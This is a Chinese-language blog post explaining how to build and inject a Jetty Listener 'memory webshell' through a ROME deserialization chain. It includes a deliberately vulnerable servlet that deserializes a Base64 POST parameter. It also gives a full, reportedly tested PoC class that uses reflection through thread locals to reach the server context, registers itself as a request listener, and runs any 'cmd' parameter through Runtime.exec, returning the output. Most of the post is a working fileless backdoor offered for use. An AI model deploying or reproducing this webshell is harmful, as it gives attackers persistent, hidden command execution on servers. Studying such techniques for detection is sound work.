Jetty Listener 型内存马

前言

本文介绍的是 Jetty Listener 回显内存马的实现思路和细节以及反序列化漏洞的注入。所给出的 PoC 代码已通过反序列化注入的方式测试成功。

环境

引入依赖以及环境如下:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>org.example</groupId>
  <artifactId>jettytest8</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>jar</packaging>

  <name>jettytest8</name>
  <url>http://maven.apache.org</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>

  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.eclipse.jetty</groupId>
      <artifactId>jetty-server</artifactId>
      <version>9.4.51.v20230217</version>
    </dependency>
    <dependency>
      <groupId>org.eclipse.jetty</groupId>
      <artifactId>jetty-servlet</artifactId>
      <version>9.4.51.v20230217</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-api</artifactId>
      <version>1.7.36</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-slf4j-impl</artifactId>
      <version>2.14.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
    </dependency>
    <dependency>
      <groupId>rome</groupId>
      <artifactId>rome</artifactId>
      <version>1.0</version>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <configuration>
          <source>8</source>
          <target>8</target>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

例子以 rome 的反序列化漏洞为例进行内存马的注入(与 log4j2 漏洞无关,只是引入了一个比较喜欢的日志和版本类型,jetty 嵌入式的运行需要手动设置日志)。反序列化入口点为:

/**
 * @author Shule
 * CreateTime: 2023/11/16 23:07
 */
public class IndexServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.println("plz");
        writer.flush();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String payload = req.getParameter("payload");
        byte[] decode = Base64.getUrlDecoder().decode(payload);
        try (ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode))) {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
        PrintWriter writer = resp.getWriter();
        writer.println("ok");
        writer.flush();

    }
}

Listener

我们首先在 listener 中设下断点,进行调试分析

idea64_B4NXMkqHQp

得到的调用栈如下:

requestInitialized:20, MyListener (org.example.listener)
requestInitialized:1393, ContextHandler (org.eclipse.jetty.server.handler)
doHandle:1431, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:505, ServletHandler (org.eclipse.jetty.servlet)
nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:516, Server (org.eclipse.jetty.server)
lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 1519898089 (org.eclipse.jetty.server.HttpChannel$$Lambda$60)
dispatch:732, HttpChannel (org.eclipse.jetty.server)
handle:479, HttpChannel (org.eclipse.jetty.server)
onFillable:277, HttpConnection (org.eclipse.jetty.server)
succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:105, FillInterest (org.eclipse.jetty.io)
run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:748, Thread (java.lang)

只往上翻一层,也就是 requestInitialized:1393, ContextHandler (org.eclipse.jetty.server.handler),可以看到调用 Listner 对请求进行处理的逻辑

idea64_rvh66nxGlB

ContextHandler 中会遍历 _servletRequestAttributeListeners_servletRequestListeners 数组获得 Listener 从而对请求前进行处理。我们只需要在这两个数组中添加恶意的 listner 即可完成内存马的注入。因为我们要注入的是 ServletRequestListener 因此只需要关注 _servletRequestListeners 即可。

跟 Servlet 有关的 ServletContextHandler 继承了该对象,那么问题就转变成了如何获得 ContextHandlerServletContextHandler 对象。

idea64_fn6Lhbzkmg

idea64_uNGI7rnFjf

Request & Response

我们在之前分析 Tomcat Listner 内存马 的时候有过这样的思路:通过 Thread 获得 request 或 response 对象,从而能够获得 ServletContext。虽然 tomcat 与 jetty 设计有些许不同,但打入内存马如果不能通过 request 和 response 对象获得回显那么意义就不算太大。

借助 java-object-searcher 进行挖掘,在 IndexServlet#doGet 中添加如下代码:

        List<Keyword> keys = new ArrayList<>();
        keys.add(new Keyword.Builder().setField_type("ServletHandler").build());

        List<Blacklist> blacklists = new ArrayList<>();
        blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
        //新建一个广度优先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
        // 设置黑名单
        searcher.setBlacklists(blacklists);
        //打开调试模式,会生成log日志
        searcher.setIs_debug(true);
        //挖掘深度为30
        searcher.setMax_search_depth(20);
        //设置报告保存位置
        searcher.setReport_save_path("/tmp");
        searcher.searchObject();

运行后我们不难发现其中一个有趣的路线:

TargetObject = {java.lang.Thread} 
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} 
     ---> value = {org.eclipse.jetty.server.HttpConnection} 
      ---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp} 
       ---> _request = {org.eclipse.jetty.server.Request}

org.eclipse.jetty.server.Request 中存在 getServletContext 方法,会返回 _context

idea64_OcSaBJdY4L

而这里的 _contextContextHandler 的一个内部类

idea64_KmTtStgpdU

我们可以尝试在获得 _context 后通过反射的方法获得外部类,也就是 ContextHandler

又注意到 HttpChannelOverHttp 中的 _channelHttpChannelOverHttp 类型,继承了 HttpChannel,因此也有 Response 对象

idea64_19pxGCvEhk

这里的 org.eclipse.jetty.server.ResponseRequest 类似,实现了 HttpServletResponse 接口,进而也实现了 ServletResponse

idea64_MV2NQUXGC6

我们只需要通过 threadLocals 遍历其中的 threadLocalMap 的 table,获得 HttpConnection,进而获得 HttpChannelOverHttp,就可以获得 RequestResponse 对象。

idea64_UKdYYcLbU3

再通过从 RequestResponse 拿到 ServletContextHandler 的一个内部类,从这个内部类中获得外部类对象 ServletContextHandler。从而注入恶意的 Listener

idea64_kRlDK5S2j5

至此请求和响应回显以及获得 ServletContextHandler 的问题解决了。

具体实现

事不宜迟,接下来就是编写代码的环节了。我这里直接给出了完整的利用类代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.HttpConnection;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.servlet.ServletContextHandler;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

/**
 * @author Shule
 * CreateTime: 2023/11/18 11:29
 */
public class PoC4Listener extends AbstractTranslet implements ServletRequestListener {
    public static ServletResponse response;

    static {
        try {
            Thread thread = Thread.currentThread();
            Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
            threadLocalsField.setAccessible(true); // 取消访问权限限制

            // 获取 threadLocals 字段的值,即 ThreadLocal.ThreadLocalMap 对象
            Object threadLocals = threadLocalsField.get(thread);
            Class<?> threadLocalMapClass = threadLocals.getClass();
            Field tableField = threadLocalMapClass.getDeclaredField("table");
            tableField.setAccessible(true);
            // 获取 table 数组
            Object[] table = (Object[]) tableField.get(threadLocals);
            HttpConnection httpConnection = null;
            // 获取  HttpConnection 对象
            for (Object entry : table) {
                if (entry != null) {
                    // 获取 entry 中的 value
                    Field valueField = entry.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(entry);
                    if (value != null && value.toString().contains("HttpConnection")) {
                        httpConnection = (HttpConnection) value;
                    }
                }
            }
            // 通过 HttpConnection 获取 HttpChannelOverHttp 对象
            assert httpConnection != null;
            Field channelField = httpConnection.getClass().getDeclaredField("_channel");
            channelField.setAccessible(true);
            HttpChannel httpChannelOverHttp = (HttpChannel) channelField.get(httpConnection);
            //Field requestField = httpChannelOverHttp.getClass().getDeclaredField("_request");

            // 通过 HttpChannelOverHttp 获取 Request 对象
            Field requestField = Class.forName("org.eclipse.jetty.server.HttpChannel").getDeclaredField("_request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(httpChannelOverHttp);

            // 通过 HttpChannelOverHttp 获取 Response 对象
            Field responseField = Class.forName("org.eclipse.jetty.server.HttpChannel").getDeclaredField("_response");
            responseField.setAccessible(true);
            response = (ServletResponse) responseField.get(httpChannelOverHttp);

            // 通过内部类获得外部类的 ServletContextHandler 对象
            ServletContextHandler.Context context = (ServletContextHandler.Context) request.getServletContext();
            Class<?> contextClass = context.getClass();
            // 获取 InnerClass 类型的字段 "this$0",它引用外部类对象
            Field outerField = contextClass.getDeclaredField("this$0");
            outerField.setAccessible(true); // 取消访问限制
            // 获取外部类对象 ServletContextHandler
            ServletContextHandler servletContextHandler = (ServletContextHandler) outerField.get(context);

            // 获取 ServletContextHandler 的 _servletRequestListeners 字段
            Field _servletRequestListenersField = servletContextHandler.getClass().getSuperclass().getDeclaredField("_servletRequestListeners");
            _servletRequestListenersField.setAccessible(true);
            List<ServletRequestListener> servletRequestListeners = (List<ServletRequestListener>) _servletRequestListenersField.get(servletContextHandler);

            // 加载恶意的 Listener
            if (servletRequestListeners != null) {
                servletRequestListeners.add(new PoC4Listener());
                System.out.println("Listener Ok!");
            } else {
                List<ServletRequestListener> servletRequestListeners1 = new ArrayList<>();
                servletRequestListeners1.add(new PoC4Listener());
                _servletRequestListenersField.set(servletContextHandler, servletRequestListeners1);
                System.out.println("add a new Listener Ok!");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext() ? scanner.next() : "";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws
            TransletException {

    }
}

构造 ROME 链,将生成的恶意字节码 Base64 的形式进行发送,注入一次即可成功

idea64_bOtIhJTvQG

i5R0ILiu5X

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇